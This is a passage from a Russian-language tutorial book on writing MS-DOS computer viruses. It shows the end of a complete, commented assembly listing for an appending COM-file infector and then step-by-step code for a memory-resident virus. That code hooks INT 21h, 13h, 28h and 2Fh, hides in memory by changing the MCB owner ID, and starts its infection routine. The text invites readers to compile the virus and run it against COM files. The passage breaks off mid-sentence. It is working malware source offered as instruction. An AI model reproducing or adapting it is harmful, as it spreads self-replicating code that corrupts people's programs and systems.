- ;байта :
- mov bx,ax ;Сохраним дес-
- ;криптор в BX
- mov ah,3fh ;Номер функции
- mov cx,3 ;Сколько байт ?
- lea dx,old_bytes ;Буфер для счи-
- ;тываемых данных
- int 21h
- jnc found_size
- jmp close ;Ошибка !
- found_size:
- mov ax,cs:[09ah] ;Найдем размер
- ;файла
- count_size:mov si,ax
- cmp ax,64000 ;Файл длиннее
- ;64000 байт ?
- jna toto ;Нет ...
- jmp find_next ;Да - тогда он
- ;нам не подходит
- toto: test ax,000fh ;Округлим размер
- jz krat_16 ;до целого числа
- or ax,000fh ;параграфов в
- inc ax ;большую сторону
- krat_16: mov di,ax ;И запишем ок-
- ;ругленное зна-
- ;чение в DI ...
- ;Расчитаем сме-
- ;щение для пере-
- ;хода на код ви-
- ;руса ...
- sub ax,3 ;Сама команда
- ;перехода зани-
- ;мает три байта!
- mov byte ptr new_bytes[1],al
- ;Смещение найде-
- mov byte ptr new_bytes[2],ah
- ;но !
- mov ax,di ;Сколько пара-
- mov cl,4 ;графов содержит
- shr ax,cl ;заражаемая про-
- ;грамма ?
- dec ax ;Учитываем дейс-
- ;твие директивы
- ;ORG 110h ...
- mov byte ptr add_to_ds,al
- ;Корректирующее
- mov byte ptr add_to_ds+1,ah
- ;число найдено !
- mov ax,4200h ;Установим ука-
- xor cx,cx ;затель на пос-
- dec si ;ледний байт
- mov dx,si ;файла ...
- int 21h
- jnc read_last
- jmp close ;Ошибка !
- read_last: ;И считаем этот
- mov ah,3fh ;байт в ячейку
- mov cx,1 ; " last " ...
- lea dx,last
- int 21h
- jc close ;Ошибка !
- cmp last,'7' ;" last " =" 7 "
- jne write_vir ;Нет - дальше
- jmp find_next ;Да- поищем дру-
- ;гой файл ...
- write_vir: mov ax,4200h ;Установим ука-
- xor cx,cx ;затель на конец
- mov dx,di ;файла ...
- int 21h
- jc close ;При ошибке -
- ;закроем файл
- mov ah,40h ;Запишем в файл
- mov cx,vir_len ;код вируса дли-
- lea dx,vir ;ной vir_len
- int 21h
- jc close ;При ошибке -
- ;закроем файл
- write_bytes:
- mov ax,4200h ;Установим ука-
- xor cx,cx ;затель на нача-
- xor dx,dx ;ло файла
- int 21h
- jc close ;При ошибке -
- ;закроем файл
- mov ah,40h ;Запишем в файл
- mov cx,3 ;первые три бай-
- lea dx,new_bytes ;та ( команду
- int 21h ;перехода ) ...
- close: mov ah,3eh ;Закроем зара-
- int 21h ;женный файл ...
- restore_dta:
- mov cx,80h ;Размер DTA -
- ;128 байт ...
- mov bx,80h ;Смещение к DTA
- lea si,old_dta ;Адрес массива
- dta_fresh:
- mov al,ds:[si] ;Читаем из мас-
- ;сива "old_dta"
- mov byte ptr cs:[bx],al;байт и перено-
- ;сим его в DTA
- inc bx ;К новому байту
- inc si ;
- loop dta_fresh ;Цикл 128 раз
- pop ds ;Восстановим
- ;испорченный DS
- push cs ;Занесем в стек
- ;регистр CS
- db 0b8h ;Код команды
- jump: dw 100h ;mov ax,100h
- push ax ;Занесем в стек
- ;число 100h
- retf ;Передача управ-
- ;ления на задан-
- ;ный адрес ...
- ;\*Data area ...
- old_bytes db 0e9h ;Исходные три
- ;байта заражен-
- dw vir_len + 0dh ;ной программы
- old_dta db 128 dup (0) ;Здесь вирус
- ;хранит исходную
- ;DTA программы
- maska db '*.com',0 ;Маска для поис-
- ;ка файлов ...
- fn db 12 dup (' '),0 ;Сюда помещается
- ;имя файла -жер-
- ;твы ...
- new_bytes db 0e9h ;Первые три бай-
- db 00h ;та вируса в
- db 00h ;файле ...
- last db 0 ;Ячейка для пос-
- ;леднего байта
- db '7' ;Последний байт
- ;вируса в файле
- vir_len equ $-vir ;Длина вирусного
- ;кода ...
- prg_end: mov ah,4ch ;Завершение за-
- INT 21H ;пускающей прог-
- ;раммы ...
- db '7' ;Без этого сим-
- ;вола вирус за-
- ;разил бы сам
- ;себя ...
- prg ends ;Все ASM - прог-
- end start ;раммы заканчи-
- ;ваются примерно
- ;так .
- Если вы когда нибудь читали [ 3 ], только что при-
- веденная программа покажется вам знакомой. Строго
- говоря, наш вирус написан " по мотивам " этой в
- общем совсем неплохой книги. " Книжный " вирус су-
- щественно переработан,исправлены замеченные ошибки
- и глюки.Несмотря на это поступок автора трудно на-
- звать плагиатом. Просто затронутая в работе П.Л.
- Хижняка тема получила новое развитие.
- 1.19 Комментарии
- Вирус,который мы разработали, отыскивает программы
- для заражения лишь в том каталоге, из которого был
- запущен зараженный файл .Понятно,что в этом случае
- большой заразностью он не обладает.Но во - первых,
- мы идем от простого к сложному, и следующие наши
- программы будут более эффективными .А во - вторых,
- эта разработка лишь преследовала цель показать ос-
- новные приемы изготовления вирусных программ.Кроме
- того, чрезмерная сложность наверняка отпугнула бы
- читателя .
- 1.20 Испытание вируса
- Для проверки в действии разработанной нами програ-
- ммы просто скопируйте ее в отдельный файл ( коне-
- чно, только если у вас есть дискета с текстом кни-
- ги ).Далее скопируйте в каталог с вирусом несколь-
- ко COM - файлов.Откомпилируйте исходный текст и
- запустите полученный COM - файл,содержащий в себе
- вирусный код.Проблем с компиляцией быть не должно,
- так как программа тщательно тестировалась . По-
- наблюдайте, как вирус заражает файлы .Попробуйте
- запустить зараженную программу под управлением от-
- ладчика и в автоматическом режиме.И, наконец, про-
- верьте зараженную программу с помощью DOCTOR WEB .
- ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
- ВИРУСНОЙ ПРОГРАММЫ
- 2.1 Понятие резидентного ( TSR ) вируса
- Резидентными называют вирусы, которые после запус-
- ка зараженной программы помещают свой код в опера-
- тивную память . Этот код "занимается" заражением
- файлов и находится в памяти в течение всего сеанса
- работы .
- Резидентные вирусы обычно намного заразнее нерези-
- дентных и распространяются быстрее .Однако создать
- такой вирус не так просто . Кроме того,резидентные
- вирусные программы подвержены всевозможным сбоям
- и могут конфликтовать с установленным на компьюте-
- ре программным обеспечением . Но несмотря на все
- трудности, возникающие при разработке резидентных
- вирусов, их было создано великое множество .
- В предлагаемой вниманию читателей главе рассказы-
- вается о приемах создания TSR - вирусов, поражаю-
- щих COM - файлы .Кроме того, освещаются основные
- проблемы, с которыми приходится встречаться при их
- разработке .
- 2.2 Несколько слов о резидентных программах
- Вы,наверное, знаете, как строятся резидентные про-
- граммы .В этом пункте мы немного поговорим об их
- организации и функционировании .
- Резидентными называют программы,которые после сво-
- его завершения остаются в памяти и активизируются
- при наступлении каких - либо событий в вычисли-
- тельной системе .Такими событиями могут быть, нап-
- ример, нажатие " горячей " комбинации клавиш, вы-
- полнение некоторых операций с дисками и т. п .Но в
- любом случае программа получает управление при
- тех или иных условиях .
- Все резидентные программы строятся одинаково, или
- почти одинаково, и состоят из двух секций - секции
- инициализации и собственно резидентной части.Рези-
- дентная часть, как правило, состоит из одной или
- нескольких подпрограмм - обработчиков прерываний и
- находится в памяти во время сеанса работы компью-
- тера .Такие подпрограммы могут полностью подменять
- собой системные обработчики или только служить их
- дополнением.Естественно,для того,чтобы резидентная
- часть получила управление, необходимо заменить со-
- ответствующие вектора в таблице векторов прерыва-
- ний на точки входа в заново установленные обработ-
- чики.Эту функцию и выполняет секция инициализации,
- которая всегда выполняется при запуске программы
- первой .
- После перехвата прерываний, которые должна обраба-
- тывать резидентная часть, секция инициализации за-
- вершает программу, используя для этой цели преры-
- вание или функцию резидентного завершения MS DOS .
- В результате резидентная часть остается в памяти и
- активизируется в случаях, предусмотренных автором
- программы . Часть инициализации в процессе работы
- больше не потребуется,поэтому оставлять ее в памя-
- ти бессмысленно, и она " затирается " MS DOS в
- случае необходимости .
- 2.3 Алгоритм работы резидентного
- COM - вируса
- Рассмотрим один из возможных алгоритмов работы ре-
- зидентного COM - вируса .
- По своей сути резидентный вирус отличается от обы-
- чной резидентной программы только тем, что он раз-
- множается сам по себе, независимо от желания поль-
- зователя.Значит,построить его можно по той же схе-
- ме, по которой пишутся обычные TSR - программы .Но
- сначала выясним,что должны делать секция инициали-
- зации вируса и его резидентная часть .
- Итак :
- Секция инициализации выполняет следующие действия:
- 1. Получает управление при запуске зараженной про-
- граммы .
- 2. Проверяет, установлена ли в память резидентная
- часть вируса .
- 3. Восстанавливает в памяти компьютера исходные
- три байтa этой программы .
- 4. Если резидентная часть не установлена,выполняю-
- тся следующие действия :
- a.) Отыскивается свободный блок памяти достато-
- чного для размещения вируса размера .
- б.) Код вируса копируется в найденный блок па-
- мяти .
- в.) В таблице векторов прерываний соответству-
- ющие вектора заменяются точками входа в ви-
- русные обработчики .
- г.) Выполняется переход на начало зараженной
- программы ( на адрес CS : 100h ).После это-
- го программа выполняется, как обычно .
- В том случае, если резидентная часть вируса уже
- находится в памяти, он просто передает управление
- зараженной программе .
- Резидентная часть выполняет следующие действия :
- 1. Анализирует все вызовы системного прерывания
- INT 21h с целью выявить переход оператора в новый
- каталог или смену текущего диска .
- 2. Если обнаружится смена текущего диска или ката-
- лога, резидентная часть должна :
- а.) Сохранить исходное состояние вычислительной
- системы .
- б.) Найти на диске подходящий COM - файл .
- в.) Записать тело вируса в конец этого файла .
- г.) Заменить первые три байта заражаемой про-
- граммы командой перехода на вирусный код,
- сохранив предварительно исходные три байта
- в своей области данных.
- д.) Восстановить исходное состояние вычислите-
- льной системы и передать ей управление .
- Если оператор не будет менять текущий католог или
- диск, вирус, очевидно, ничего заразить не сможет .
- Как вы уже заметили, заражением файлов занимается
- исключительно резидентная часть ! Секция инициали-
- зации нужна только для инсталляции вируса в па-
- мять .Кроме того, в отличие от обычной резидентной
- программы, в вирусе эта секция записывается в па-
- мять вместе с резидентной частью . Иначе при за-
- писи ее в заражаемый файл возникли бы серьезные
- трудности .
- Из рассказанного в этом пункте легко сделать вы-
- вод о том, насколько резидентный вирус должен быть
- устроен сложнее обычного .Вместе с тем, в его на-
- писании нет ничего магического, и вы без труда
- разберетесь в следующей программе .
- 2.4 Заголовок вируса
- Для разработки вируса мы, как и раньше, будем ис-
- пользовать COM формат .
- Естественно,в резидентном вирусе будут использова-
- ны некоторые блоки, созданные нами в предыдущей
- главе .Поэтому на их работе мы останавливаться не
- будем, а вместо этого сделаем акцент на новых при-
- емах, реализованных в программе .
- Итак, начнем :
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- start: jmp vir ;Передача управ-
- ;ления вирусному
- ;коду ...
- org 110h
- Приведенные команды и директивы выполняют те же
- самые функции, что и аналогичные, использованные
- нами при создании нерезидентной вирусной програм-
- мы .
- 2.5 Вирус начинает работу
- Несколько забегая вперед, отметим, что наш вирус
- будет работать так :
- 1. Обработчик прерывания Int 21h отслеживает
- смену оператором текущего каталога или дис-
- ка. Если пользователь действительно сменил
- диск или каталог,то переменная TG_INFECT ус-
- танавливается в единицу.
- 2. Обработчик прерывания Int 28h вызывается DOS
- всякий раз, когда можно, не боясь зависаний,
- обращаться к системным функциям, работающим
- с файлами. Поэтому естественно возложить на
- него задачу поиска и заражения файлов.Исходя
- из этого процедура обработки Int 28h прове-
- ряет значение TG_INFECT, и если оно равно
- единице, выполняет поиск и заражение файлов.
- --------------------------------------------------
- После перехода на метку " vir " начинается испол-
- нение вирусной программы .Поэтому продолжим :
- ( Собственно это и есть начало обработчика преры-
- вания Int 28h )
- vir: db 0ebh ;90h - Для рези-
- db push_len ;90h дентной
- ; работы .
- pushf ;Запишем флаги
- ;в стек ...
- cmp cs:tg_infect-110h,1;Активизиро-
- ;ваться ?
- je cs:vir_2 ;Да ...
- call dword ptr cs:old_28h - 110h
- ;Нет - вызовем
- ;старый обработ-
- ;чик INT 28h,
- ;чтобы не топить
- ;другие TSR ...
- iret
- vir_2: popf ;Переключаем
- ;стек для TSR -
- ;исполнения на
- mov cs:ss_save-110h,ss ;себя ...
- mov cs:sp_save-110h,sp
- mov cs:help_word - 110h,cs
- mov ss,cs:help_word - 110h
- mov sp,to_newstack + 136
- mov cs:tg_infect - 110h,0
- pushf ;Вызываем старый
- db 9ah ;обработчик
- old_28h dw 0 ;INT 28h ...
- old_28h_2 dw 0
- Обратите внимание на команду,записанную в машинном
- коде сразу за меткой " vir " .Сейчас мы попробуем
- разобраться, зачем она потребовалась .
- Как вы знаете, наш вирус должен быть резидентным и
- состоять из двух частей .При этом секция инициали-
- зации исполняется только в транзитном ( нерезиден-
- тном ) режиме,а резидентная часть - только в рези-
- дентном.
- Команда
- db 0ebh ;90h - Для рези-
- db push_len ;90h дентной
- ; работы .
- играет роль " переключателя " между транзитным и
- резидентным кодами .При заражении вирус записывает
- в файл команду перехода, которая при запуске зара-
- женного файла передает управление на " push_len "
- байт вперед, где как раз и начинается секция ини-
- циализации .Если же попытаться выполнить эту кома-
- нду в резидентном режиме, т. е. когда код вируса
- получил управление, находясь в памяти,это приведет
- к зависанию компьютера .Чтобы такого не происходи-
- ло, секция инициализации при установке вирусного
- кода в память записывает сразу за меткой " vir "
- две команды " NOP ", или код : 9090h .
- Все приведенные далее команды относятся к резиден-
- тной части .После записи флагов в стек вирус про-
- веряет состояние переменной " tg_infect ", и если
- она равна " 1 ", переходит к метке " vir_2 " .Если
- же " tg_infect " равна " 0 ",то вирус просто вызы-
- вает старый обработчик INT 28h и отдает управление
- прерванному процессу.Чуть позже мы рассмотрим, как
- формируется значение переменной " tg_infect " .
- Поскольку приводимый обработчик активно работает
- со стеком,есть смысл предусмотреть в нем собствен-
- ный стек . Поэтому сразу за меткой " vir_2 " запи-
- шем команды, переключающие стек на специальную об-
- ласть данных вируса " newstack " :
- ;Переключаем
- ;стек для TSR -
- ;исполнения на
- mov cs:ss_save-110h,ss ;себя ...
- mov cs:sp_save-110h,sp
- mov cs:help_word - 110h,cs
- mov ss,cs:help_word - 110h
- mov sp,to_newstack + 136
- mov cs:tg_infect - 110h,0
- Последней запишем команду, сбрасывающую " tg_in-
- fect " в ноль .Этим мы защитим вирусный код от по-
- вторного вхождения .
- Теперь необходимо вызвать старый обработчик INT
- 28h, иначе наш вирус будет " топить " другие рези-
- дентные программы, которые перехватывают это же
- прерывание .Поэтому запишем :
- pushf ;Вызываем старый
- db 9ah ;обработчик
- old_28h dw 0 ;INT 28h ...
- old_28h_2 dw 0
- Обработчик здесь вызывается как дальняя процедура.
- Команда " CALL " записана в виде машинного кода,
- а поля " old_28h " и " old_28h_2 " заполняются се-
- кцией инициализации при установке вируса в память.
- *
- Обратите внимание на команды переключения стека .
- Они необычны тем,что от адреса ячеек памяти " ss_
- save "," sp_save ", " tg_infect " и " help_word "
- отнимается число 110h . Дело в том, что при ком-
- пиляции исходного текста COM - программы адреса
- ячеек памяти вычисляются исходя из того, что DS
- указывает на начало ее PSP .Кроме того, в самом
- начале вируса мы записали директиву " org 110h ".
- Но ведь к вышеуказанным ячейкам памяти вирус об-
- ращается в резидентном режиме, да еще и относите-
- льно CS .А CS указывает строго на начало обработ-
- чика, а не на начало PSP, как это было при компи-
- ляции ! Поэтому относительный адрес ячеек необхо-
- димо уменьшить на 110h, что мы и сделали . Этот
- прием будет использован еще несколько раз при по-
- строении вирусных обработчиков прерываний,поэтому
- полезно будет понять, на чем он основан .
- 2.6 Сохраняем регистры процессора
- В самом начале работы резидентная программа обяза-
- на сохранить значения регистров процессора, кото-
- рые были переданы ей прерванной программой, а при
- завершении работы - восстановить эти значения .Ес-
- ли этого не сделать,прерванная программа просто не
- сможет нормально выполняться дальше,что приведет к
- сбою вычислительного процесса . Поэтому сейчас мы
- сохраним все регистры, используемые вирусом,в сте-
- ке :
- pushf ;Сохраним в сте-
- push ax ;ке регистры ...
- push bx
- push cx
- push dx
- push si
- push di
- push bp
- push ds
- push es
- jmp cs:infect ;Перейти к зара-
- ;жению файлов
- Заметим, что значения регистров записываются уже в
- область " newstack ", а не в стек прерванной прог-
- раммы .Значения SS и SP сохраняются в переменных :
- " ss_save " и " sp_save ", и поэтому в стек не за-
- носятся .Команда " jmp cs:infect " также относится
- к резидентной секции и передает управление "зараз-
- ной" части вирусного кода .
- 2.7 Создаем секцию инициализации
- А теперь пора заняться изготовлением секции иници-
- ализации нашей программы .Поскольку эта секция ис-
- полняется при запуске зараженного файла, выполним
- коррекцию регистра DS ( см. гл. 1, 1.6 ) :
- push_len equ $-vir - 2
- mov ax,ds ;Корректируем DS
- ;для нерезидент-
- ;ной работы ...
- db 05h ;Код команды
- add_to_ds: dw 0 ;" ADD AX,00h "
- mov ds,ax
- Константа " push_len " содержит смещение от начала
- вируса до начала секции инициализации . Именно это
- число записывается за меткой " vir " (см. п. 2.5).
- Далее следует проверить наличие вируса в памяти
- (см. п. 2.3), поэтому :
- mov ax,0f000h ;Проверим, есть
- mov bx,1997h ;вирус в памяти,
- int 2fh ;или еще нет ...
- jc fresh_bytes
- cmp al,0ffh
- jne free_mem ;Нет -
- ;устанавливаем
- Для проверки используется так называемое мульти-
- плексное прерывание MS DOS, специально предназна-
- ченное для использования в резидентных программах.
- В регистрах AX и BX мы поместим код, на который
- реагирует вирусный обработчик этого прерывания, и
- выполним команду " INT 2Fh " .Если вирус был уста-
- новлен в памяти,его обработчик проанализирует зна-
- чения AX и BX .И если они равны " 0f000h " и " 19-
- 97h ", вернет в AL число 0ffh, которое и рассчиты-
- вает получить секция инициализации .
- Если вирусный код уже инсталлирован, необходимо:
- восстановить в памяти компьютера исходные три бай-
- та зараженной программы (см. п. 2.3) :
- fresh_bytes: ;Восстанавливаем
- mov al,old_bytes ;первые три бай-
- ;та зараженной
- mov cs:[100h],al ;программы ...
- mov al,old_bytes+1
- mov cs:[101h],al
- mov al,old_bytes+2
- mov cs:[102h],al
- Восстановить значения сегментных регистров:
- mov ax,cs ;Восстанавливаем
- ;сегментные
- mov es,ax ;регистры ...
- mov start_cs,ax
- mov ds,ax
- И выполнить переход на начало этой программы :
- jmp cl_conv_1 ;Передаем управ-
- cl_conv_1: db 0eah ;ление заражен-
- dw 100h ;ной программе
- start_cs dw 0
- Здесь команда " jmp cl_conv_1 " очищает очередь
- процессора ( см. гл. 1, п. 1.7 ) . Без нее наш ви-
- рус на некоторых процессорах работал бы некоррек-
- тно .
- Если же вируса в памяти еще нет, нужно установить
- его в память .Эту работу выполняют команды, запи-
- санные за меткой " free_mem " .
- 2.8 Запрашиваем блок памяти
- Как вы уже знаете,резидентная программа должна на-
- ходиться в памяти в течение сеанса работы компью-
- тера.Поэтому секция инициализации должна "попро-
- сить" MS DOS выделить для загрузки резидентной ча-
- сти соответствующий блок памяти .
- Существует целый ряд методов, позволяющих получить
- в распоряжение TSR - программы область памяти дос-
- таточного размера .Например, в обычных резидентных
- программах эту функцию выполняет MS DOS в процессе
- резидентного завершения .При этом область памяти,
- выделенная TSR - программе при ее запуске, просто
- усекается до размера резидентной части и остается
- занятой после завершения программы .Таким образом,
- резидентная часть размещается в том месте, куда
- некогда была загружена вся программа.
- К сожалению, использование такого метода в вирусе
- порождает целый ряд проблем . Например в этом
- случае необходимо записывать вирусный код в нача-
- ло, а не в конец файла - жертвы, иначе при запуске
- зараженной программы она будет " садиться " в па-
- мять целиком .Есть и другие трудности, преодолеть
- которые очень непросто.Не случайно такой прием при
- написании вирусов применяется редко .
- Другой способ состоит в использовании для поиска
- подходящего блока памяти так называемых MCB - бло-
- ков ( потом мы поговорим о них подробнее ) . При
- этом вирус должен путем сканирования цепочки бло-
- ков управления памятью ( Memory Control Blocks )
- найти свободный блок подходящего размера, разде-
- лить его на две части, одна из которых точно соот-
- ветствует или несколько превышает длину вируса, и
- записать во вновь созданный блок свой код.Основной
- недостаток данного метода состоит в том что MCB -
- блоки являются недокументированной структурой MS
- DOS, и при их использовании нужно быть готовым к
- тому,что программа будет работать на одной машине
- и не будет работать на другой. Это также относится
- к разным версиям операционной системы .Кроме того,
- очень сложно построить эффективный алгоритм реали-
- зации этого метода . Ведь вирусный код должен за-
- писываться не просто в подходящий по размерам
- блок, а в старшие адреса оперативной памяти, ина-
- че загрузка больших программ будет просто невозмо-
- жна .
- Третий способ заключается в том, что код вируса
- копируется в заданную область памяти без коррекции
- MCB - блоков. Недостаток его состоит в следующем:
- "время жизни" вируса,реализующего такой алгоритм,
- чрезвычайно мало и зависит от интенсивности ис-
- пользования оперативной памяти . Причем "гибель"
- вирусной программы с почти стопроцентной вероятно-
- стью приводит к повисанию компьютера. Хотя метод
- отличается простотой реализации и имеет ряд других
- достоинств, приведенный выше недостаток делает его
- практическое использование маловозможным .
- Четвертый способ состоит в использовании функций,
- реализующих управление памятью.Используя его,можно
- построить эффективный и корректно работающий про-
- граммный код, который будет хорошо работать на
- разных машинах и с любыми версиями операционной
- системы .При этом его реализация весьма проста и
- понятна . Поэтому мы применим именно этот способ :
- free_mem: mov ah,4ah ;Определим объем
- ;доступной памя-
- ;ти ...
- mov bx,0ffffh ;Заведомо невоз-
- int 21h ;можное значение
- ;(0ffffh) !
- ;Ошибка будет
- ;обязательно, и
- ;проверять ее
- ;наличие
- ;не нужно !
- ; _______________________________________________
- ;| Закажем свободный блок памяти,чтобы можно было|
- ;| записать в него резидентную часть вируса ... |
- ;|_______________________________________________|
- sub bx,vir_par + 2 ;Оставим вирусу
- ;на 2 параграфа
- ;больше, чем
- ;он сам занимает
- mov ah,4ah ;А остальная па-
- int 21h ;мять будет
- jc fresh_bytes ;занята ...
- mov ah,48h ;Попросим DOS
- ;отдать свобод-
- ;ный блок нам .
- mov bx,vir_par + 1 ;Запас в один
- int 21h ;параграф ...
- jc fresh_bytes ;Ошибка !
- В приведенном фрагменте использованы функции :
- 4Ah - изменение размера блока памяти, а также
- 48h - выделение блока памяти .
- Об их использовании вы можете прочесть в ПРИЛОЖЕ-
- НИИ 1.
- Работа вышеприведенных команд весьма проста и осо-
- бых пояснений не требует .Стоит лишь заметить, что
- для загрузки вирусного кода выделяется область в
- в самом " верху " свободной оперативной памяти,что
- является почти обязательным для подавляющего боль-
- шинства вирусных программ .
- 2.9 Делаем вирус " незаметным "
- К сожалению,выбранный нами способ поиска свободно-
- го блока памяти имеет один скрытый недостаток .Как
- вы, наверное, знаете, при завершении программы DOS
- освобождает блок памяти, который эта программа за-
- нимает .Кроме того, освобождаются также все блоки,
- которые были распределены программе по ее запро-
- сам .
- Предположим, вирус стартовал из зараженной програ-
- ммы, с помощью описанных ранее функций MS DOS на-
- шел подходящий блок памяти и записал в него свой
- код, предварительно переписав на этот код те или
- иные прерывания .После этого он передает управле-
- ние зараженной программе . Естественно, она когда-
- нибудь завершится и передаст управление DOS . Но
- ведь в этом случае блок, который занимает вирусный
- код, будет освобожден, и при первой необходимости
- этот код будет уничтожен,чтобы записать на его ме-
- сто другую информацию !В результате произойдет мо-
- ментальное " повисание " компьютера .
- Очевидно, этого можно избежать, если память, зани-
- маемая вирусом, будет оставаться занятой в течение
- всего сеанса работы,и не будет освобождаться после
- завершения зараженной программы .
- Как показал эксперимент, для этой цели достаточно
- в MCB,предшествующем выделенному для вирусного ко-
- да блоку, сделать определенные изменения.Но снача-
- ла мы немного расскажем о структуре Memory Control
- Blocks ( MCB ) и их использовании .
- Для того, чтобы следить за использованием памяти,
- в MS DOS предусмотрена специальная структура - так
- называемый блок управления памятью,или MCB - блок.
- Такой блок помещается DOS непосредственно перед
- каждым вновь выделяемым блоком памяти, и система
- ведет специальный список MCB - блоков,просматривая
- его при выполнении тех или иных действий, связан-
- ных с распределением памяти.
- MCB обязательно начинается на границе параграфа и
- всегда занимает целый параграф.Конечно,MS DOS дол-
- жна знать о том, где именно расположен первый блок
- управления памятью.На этот блок указывает внутрен-
- няя переменная DOS, значение и местоположение ко-
- торой известно только операционной системе .
- Рассмотрим теперь структуру MCB - блока .Итак :
- Байт 0 - содержит код 5Ah,если данный блок яв-
- ляется последним в цепочке MCB, и код
- 4Dh - в противном случае .
- Байты 1, 2 - Содержат PID (Program IDentificator)
- программы, для которой DOS выделяла
- блок, или ноль, если блок свободен .
- Байты 3, 4 - Содержат размер блока в параграфах .
- Следующий блок расположен в памяти по
- адресу : MCB_NEW = MCB_OLD + lenght +
- + 1.Здесь MCB_NEW - сегментный адрес,
- по которому располагается следующий
- MCB, MCB_OLD - сегментный адрес рас-
- сматриваемого MCB,а lenght - содержи-
- мое байтов 3, 4 этого блока .
- Остальные одиннадцать байт блока не используются и
- могут содержать любые данные. Но стоит заметить,
- что повреждение байтов 1, 3 или 4 приводит к выда-
- че сообщения :
- Memory Allocation Error
- System Halted
- и немедленному " зависанию " компьютера .
- А теперь вернемся к нашей программе .
- Как показал эксперимент, достаточно подменить в
- MCB, предшествующем вирусному коду, байты 1 и 2 .
- Причем лучше всего записать вместо этих байт PID
- какой - нибудь из уже загруженных в память про-
- грамм.Этим достигается еще и незаметность вируса в
- памяти.Советую вам попробовать загрузить несколько
- TSR - программ и в MCB одной из них подменить бай-
- ты 1 и 2 на PID какой - нибудь другой программы .
- После этого нажмите в Volkov Commander клавиши ALT
- и F5, и вы увидите очень интересный эффект .
- Но дело в том, что для использования вышеприведен-
- ного метода необходимо еще найти программу, на PID
- которой наш вирус будет " паразитировать ".Сделать
- это не так просто, как может показаться на первый
- взгляд .И поэтому для облегчения нашей работы вме-
- сто PID загруженной в память программы мы запишем
- в MCB вируса сегментный адрес области данных DOS,
- а именно : 0070h :
- ; _______________________________________________
- ;| Теперь свободный блок памяти найден |
- ;| ( сегментный адрес в AX ), и |
- ;| нужно записать в него код вируса ... |
- ;|_______________________________________________|
- xor di,di ;Делаем вирус
- mov bx,ax ;"невидимым" в
- dec bx ;памяти ...
- mov word ptr cs:[2],bx
- mov es,bx
- mov bx,0070h
- mov es:[di+1],bx
- Предыдущий фрагмент вернул нам сегментный адрес
- выделенного для вируса блока памяти в регистре AX.
- Приведенные программные строки очень просты, и
- объяснять их работу не нужно. Следует только ска-
- зать, что вирус фактически отнимает у DOS несколь-
- ко килобайтов памяти, поэтому необходимо скоррек-
- тировать PSP программы - носителя вируса.А именно-
- уменьшить верхнюю границу блока памяти,выделенного
- программе,на длину вирусного кода.Интересующая нас
- величина находится по смещению 02h от начала PSP.
- 2.10 Получаем вектора прерываний
- Итак, мы нашли блок памяти, в который часть ини-
- циализации будет копировать вирусный код.Но прежде
- чем инсталлировать вирус в память, необходимо уз-
- нать адреса системных обработчиков прерываний.Ведь
- вирус будет вызывать эти обработчики перед ( или
- после ) выполнением собственных действий по обра-
- ботке того или иного прерывания .Если исходные об-
- работчики не будут получать управление, вычислите-
- льная система придет в аварийное состояние .
- Поэтому :
- ;_________________________________________________
- mov es,di ;Получаем векто-
- ;ра прерываний
- cli
- mov di,084h ;Int 21h ...
- mov bx,es:[di]
- mov old_21h,bx
- mov bx,es:[di+2]
- mov old_21h_2,bx
- mov di,0bch ;Int 2fh ...
- mov bx,es:[di]
- mov old_2fh,bx
- mov bx,es:[di+2]
- mov old_2fh_2,bx
- mov di,04ch ;Int 13h ...
- mov bx,es:[di]
- mov old_13h,bx
- mov bx,es:[di+2]
- mov old_13h_2,bx
- mov di,0a0h ;Int 28h ...
- mov bx,es:[di]
- mov old_28h,bx
- mov bx,es:[di+2]
- mov old_28h_2,bx
- sti
- Как видим, для определения адресов обработчиков
- вирус обращается непосредственно к таблице векто-
- ров прерываний.Секция инициализации будет перехва-
- тывать прерывания: Int 21h, Int 13h, Int 28h и Int
- 2fh.Несколько позже мы разберемся, почему потребо-
- валось перехватить именно их и приведем тексты ви-
- русных обработчиков этих прерываний.
- 2.11 Копируем вирусный код в память
- Теперь настало время переписать в память код виру-
- са и подготовить его к работе в резидентном режи-
- ме :
- mov word ptr vir,9090h ;Подготавливаем
- mov tg_infect,0 ;вирус к рези-
- ;дентной работе
- mov es,ax ;И копируем его
- xor di,di ;в память...
- mov cx,vir_len
- prg_copy: mov bl,byte ptr vir[di]
- mov byte ptr es:[di],bl
- inc di
- loop prg_copy
- В самом начале нужно сбросить в ноль переменную
- " tg_infect ", чтобы вирус не занимался заражением
- файлов, пока его об этом не попросят .Далее,в пер-
- вые два байта кода вируса, который мы собираемся
- записывать в память, следует записать две команды
- NOP, или код 9090h ( см п. 2.2 ) .
- Теперь тело вируса просто копируется в блок памя-
- ти, сегментный адрес которого задан в регистре AX.
- 2.12 Устанавливаем вектора прерываний
- на вирусные обработчики
- Все подготовительные действия выполнены, и нам то-
- лько осталось заменить адреса системных обработчи-
- ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh
- на адреса вирусных обработчиков,после чего необхо-
- димо передать управление зараженной программе .Это
- мы сейчас и сделаем :
- xor bx,bx ;Устанавливаем
- ;вектора преры-
- mov es,bx ;ваний на вирус-
- cli ;ные обработчики
- mov di,084h
- mov word ptr es:[di],to_new_21h
- mov es:[di+2],ax ; Int 21h
- mov di,0bch
- mov word ptr es:[di],to_new_2fh
- mov es:[di+2],ax ; Int 2fh
- mov di,04ch
- mov word ptr es:[di],to_new_13h
- mov es:[di+2],ax ; Int 13h
- mov di,0a0h
- mov word ptr es:[di],0
- mov es:[di+2],ax ; Int 28h
- sti
- jmp fresh_bytes ;Установка
- ;завершена ...
- Модификация векторов прерываний в особых коммента-
- риях не нуждается . А команда " jmp fresh_bytes "
- передает управление на программный код,выполняющий
- восстановление исходных трех байт программы - жер-
- твы .
- Таким образом, мы разработали секцию инициализации
- нашего вируса . И поэтому настало время перейти к
- созданию резидентной секции .Все оставшиеся пункты
- этой главы будут посвящены именно разработке рези-
- дентной части .
- 2.13 Пишем резидентную часть
- Начало резидентной части мы создали в первых пунк-
- тах главы ( см п. 2.5 ).А теперь просто продолжим,
- и допишем до конца "заразную" часть вирусной про-
- граммы :
- infect: push cs ;DS = CS ...
- pop ds
- mov ax,ds ;TSR - коррекция
- sub ax,11h ;DS ...
- mov ds,ax
- cmp tg_13h,0 ;INT 13h
- ;выполняется ?
- je cs:all_right ;Нет ...
- jmp cs:exit_zarasa ;Да - на выход
- Сразу за меткой " infect " мы записали команды ко-
